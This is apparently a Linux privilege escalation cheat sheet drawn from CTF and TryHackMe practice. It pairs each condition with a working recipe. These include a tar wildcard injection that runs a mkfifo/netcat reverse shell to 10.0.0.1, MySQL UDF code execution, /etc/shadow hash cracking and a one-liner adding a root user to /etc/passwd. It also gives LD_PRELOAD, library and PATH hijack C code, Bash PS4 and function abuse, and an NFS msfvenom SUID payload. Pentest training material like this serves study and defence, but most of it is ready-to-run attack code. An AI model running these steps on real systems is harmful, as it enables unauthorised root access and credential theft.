Linux Privilege Escalation

Masterpiece

Enumeration Scripts

LinEnum.sh

Example: ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
OPTIONS:

-k Enter keyword
-e Enter export location
-t Include thorough (lengthy) tests
-s Supply current user password to check sudo perms (INSECURE)
-r Enter report name
-h Displays this help text

Running with no options = limited scans/no output file

-e Requires the user enters an output location
   i.e. /tmp/export. If this location does not exist, it will be created.
-r Requires the user to enter a report name. 
    The report (.txt file) will be saved to the current working directory.
-t Performs thorough (slow) tests. 
   Without this switch default 'quick' scans are performed.
-s Use the current user with supplied password to check for sudo permissions - 
   note this is insecure and only really for CTF use!
-k An optional switch for which the user can search for a single keyword 
   within many files (documented below).

Linux Smart Enumeration

Use: ./lse.sh [options]

 OPTIONS
  -c           Disable color
  -i           Non interactive mode
  -h           This help
  -l LEVEL     Output verbosity level
                 0: Show highly important results. (default)
                 1: Show interesting results.
                 2: Show all gathered information.
  -s SELECTION Comma separated list of sections or tests to run. Available
               sections:
                 usr: User related tests.
                 sud: Sudo related tests.
                 fst: File system related tests.
                 sys: System related tests.
                 sec: Security measures related tests.
                 ret: Recurren tasks (cron, timers) related tests.
                 net: Network related tests.
                 srv: Services related tests.
                 pro: Processes related tests.
                 sof: Software related tests.
                 ctn: Container (docker, lxc) related tests.
               Specific tests can be used with their IDs (i.e.: usr020,sud)
  -e PATHS     Comma separated list of paths to exclude. This allows you
               to do faster scans at the cost of completeness
  -p SECONDS   Time that the process monitor will spend watching for
               processes. A value of 0 will disable any watch (default: 60)

LinPEAS

./linpeas.sh

Tar Wildcard

Condition

  • A script running by root has a tar command with * at the end

  • The script folder is writable by the current user

Exploit

Reference:

Example:

  • TryHackMe: Skynet

If you see a root script running tar command with Wildcard, you may inject command! For example, root is running a cron job with the following script:

#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *

As you see, there is a wildcard at the end of the tar command.

The exploit condition is having Write permission on /var/www/html. If so, follow the following step to get a root reverse shell:

  1. Write a bash script (Reverse Shell command) and save as /var/www/html/shell.sh

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

2. Navigate to /var/www/html and do:

echo "" > "--checkpoint-action=exec=sh shell.sh
echo "" > --checkpoint=1

3. Launch a netcat listener locally

nc -nlvp 1234

Next time when root runs the cron, a reverse shell will call back.

MySQL User-defined Function

Condition

  • MySQL is running as root (Use ps aux | grep mysql to check)

  • MySQL root account access to mysql database

Exploit

Compile the library

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Get into mysql as mysql root user

mysql -u root -p
use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

Then use the created bash with SUID to escalate the privilege

/tmp/rootbash -p

Readable /etc/shadow

Condition

  • /etc/shadow is readable (Use ls -l /etc/shadow to check)

Exploit

Read /etc/shadow and copy the hashes into a file

cat /etc/shadow | cut -d ":" -f 2 | grep -x '.\{3,\}'

Then use john / hashcat to crack the hash

john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt

Note that john will detect and show the hash algorithm used.

In hashcat, we need to find the module to be used. For example, if it is a sha512crypt ($6$), we can find out the according module using:

$ hashcat -h | grep '\$6\$'
1800 | sha512crypt $6$, SHA512 (Unix)                   | Operating Systems

Then we can use -m 1800 to crack the hash.

hashcat -m 1800 shadow.txt rockyou.txt --force -O

Writable /etc/shadow

Condition

  • /etc/shadow is writable (Use ls -l /etc/shadow to check)

Exploit

The target is to change the root password. First generate a salted hash using mkpasswd

mkpasswd -m sha-512 P@ssw0rd

Replace root salted hash by the above output in /etc/shadow

Writable /etc/passwd

Condition

  • /etc/passwd is writable (Use ls -l /etc/passwd to check)

Exploit

One-liner:

echo "pwned:$(echo "P@ssw0rd" | openssl passwd -1 -stdin):0:0::/root:/bin/bash" >> /etc/passwd

Alternatively, generate a password hash using openssl

$ echo "P@ssw0rd" | openssl passwd -1 -stdin
$1$FKcY6s4O$lh.KZYTT5Cv2igidDtprO1

Then add it to /etc/passwd

 echo 'pwned:$1$FKcY6s4O$lh.KZYTT5Cv2igidDtprO1:0:0::/root:/bin/bash' >> /etc/passwd

Sudo apache2

Condition

  • Have SUDO privilege to run apache2 (sudo -l to check)

Exploit

Read the first line of /etc/shadow to obtain the salted hash.

sudo apache2 -f /etc/shadow

Sudo - Environment Variables

Condition

  • Sudo privilege to run anything (sudo -l to check)

  • LD_PRELOAD and LD_LIBRARY_PATH are inherited from the user's environment

    • LD_PRELOAD loads a shared object before any others when a program is run.

    • LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.

Matching Defaults entries for user on this host:
    env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

Exploit - Preload

preload.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        unsetenv("LD_PRELOAD");
        setresuid(0,0,0);
        system("/bin/bash -p");
}

Compile proload.c:

gcc -fPIC -shared -nostartfiles ./preload.c -o /tmp/preload.so 

Run one of the programs you are allowed to run via sudo (listed when running sudo -l) (apache2 as an example here), while setting the LD_PRELOAD environment variable to the full path of the new shared object:

sudo LD_PRELOAD=/tmp/preload.so apache2

Then the current user will become root.

Exploit - Library_PATH

library_path.c:

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);
        system("/bin/bash -p");
}

First you have to find which a sudo program will call, for example:

user@debian:~/tools/sudo$ ldd /usr/sbin/apache2
        linux-vdso.so.1 =>  (0x00007fffd43ff000)
        libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007ff4127ff000)
        libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007ff4125db000)
        libapr-1.so.0 => /usr/lib/libapr-1.so.0 (0x00007ff4123a1000)
        libpthread.so.0 => /lib/libpthread.so.0 (0x00007ff412185000)
        libc.so.6 => /lib/libc.so.6 (0x00007ff411e19000)
        libuuid.so.1 => /lib/libuuid.so.1 (0x00007ff411c14000)
        librt.so.1 => /lib/librt.so.1 (0x00007ff411a0c000)
        libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007ff4117d5000)
        libdl.so.2 => /lib/libdl.so.2 (0x00007ff4115d0000)
        libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007ff4113a8000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ff412cbc000)

Then we can hijack any one of the library above, libcrypto.so.1 for example. To do so, compile:

gcc -shared -fPIC ./library_path.c -o /tmp/libcrypt.so.1

Then point LD_LIBRARY_PATH to tmp folder when running sudo apache2

sudo LD_LIBRARY_PATH=/tmp apache2

SUID / GUID bits

Condition

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
  • Some of the results could be ab-usable

    • nmap

    • sh / bash

    • less / more

    • man

    • vim / nano

    • find

    • iftop

    • awk

  • Use https://gtfobins.github.io/ to see help to make use of them

  • Some of them could be vulnerable

    • exim-4.84-3 --> Search for exploit in exploit-db (CVE-2016-1531)

SUID / SGID - suid-so Shared Object Injection

Condition

  • suid-so has root SUID set

Exploit

First run:

/usr/local/bin/suid-so

Then use strace on suid-so and search the output for open/access calls and for no such file errors:

user@debian:~/tools/sudo$ strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libdl.so.2", O_RDONLY)       = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libm.so.6", O_RDONLY)        = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY)    = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)

Find a directory that is writable by the current user. For example:

mkdir /home/user/.config

Then compile the following library:

libcalc.c

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
        setuid(0);
        system("/bin/bash -p");
}

Compile and output to the directory:

gcc -shared -fPIC -o /home/user/.config/libcalc.so ./libcalc.c

Finally execute suid-so:

/usr/local/bin/suid-so

SUID / SGID - suid-env

Condition

  • suid-env has root suid set

Exploit

First run:

user@debian:~/tools/suid$ /usr/local/bin/suid-env
Starting web server: apache2httpd (pid 1492) already running

Likely to be used to run apache server. Then try to use strings

user@debian:~/tools/suid$ strings /usr/local/bin/suid-env
/lib64/ld-linux-x86-64.so.2
5q;Xq
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
service apache2 start

It is vulnerable since the full path of service (/usr/sbin/service) is not used. Then we can hijack the PATH.

service.c

int main() {
        setuid(0);
        system("/bin/bash -p");
}

Compile service.c:

gcc -o service ./service.c

Then refine the PATH variable:

PATH=.:$PATH

Run suid-env

PATH=.:$PATH /usr/local/bin/suid-env

SUID / SGID - Abuse Shell Feature (Bash < 4.2-048)

Condition

  • Root SUID set for a binary

  • Bash < 4.2.048

Exploit

Use strings to inspect the SUID binary

user@debian:~/tools/suid$ strings /usr/local/bin/suid-env2
/lib64/ld-linux-x86-64.so.2
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
/usr/sbin/service apache2 start

In Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.

user@debian:~/tools/suid$ bash --version
GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu)

Then we can create a Bash function with the name /usr/sbin/service

function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service

When running the SUID binary, we will get a root shell:

/usr/local/bin/suid-env2

SUID / SGID - Abuse Shell Features (Bash < 4.4)

Condition

  • Root SUID binary

  • Bash < 4.4

Exploit

When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements.

Run the SUID binary with bash debugging enabled and the PS4 variable set to an embedded command which create an SUID version of bash:

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2

Then run rootbash:

/tmp/rootbash -p

History File

Exploit

Trivial ...

cat ~/.*history | less

Config File

Exploit

  • Find common files which has password ...

    • /var/www/html/wp-config.php

    • xxx.ovpn

    • ...

Exposed SSH Key

Exploit

First retrieve the SSH key. Then

chmod 600 root_key

Finally use it to logon:

ssh -i root_key root@<target>

Remote NFS

Files created via NFS inherit the remote user's ID. If the user is root, and root squashing is enabled, the ID will instead be set to the "nobody" user.

Exploit

On the target, check NFS configuration:

user@debian:~/tools/suid$ cat /etc/exports 
---
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
  • rw

  • insecure

  • no_root_squash

Then on Kali, as root, do the following:

mkdir /tmp/nfs
mount -o rw,vers=2 <target>:<nfs_share> /tmp/nfs

Then generate a bash binary with root SUID:

msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
chmod +xs /tmp/nfs/shell.elf

Then on the target, just do

/tmp/shell.elf

(Side note: Never use no_root_squash! Use root_squash instead and so things put by the nfs user will have both UID and GID set to nobody)

Kernel Exploit

hostnamectl

uname -a

...

Last updated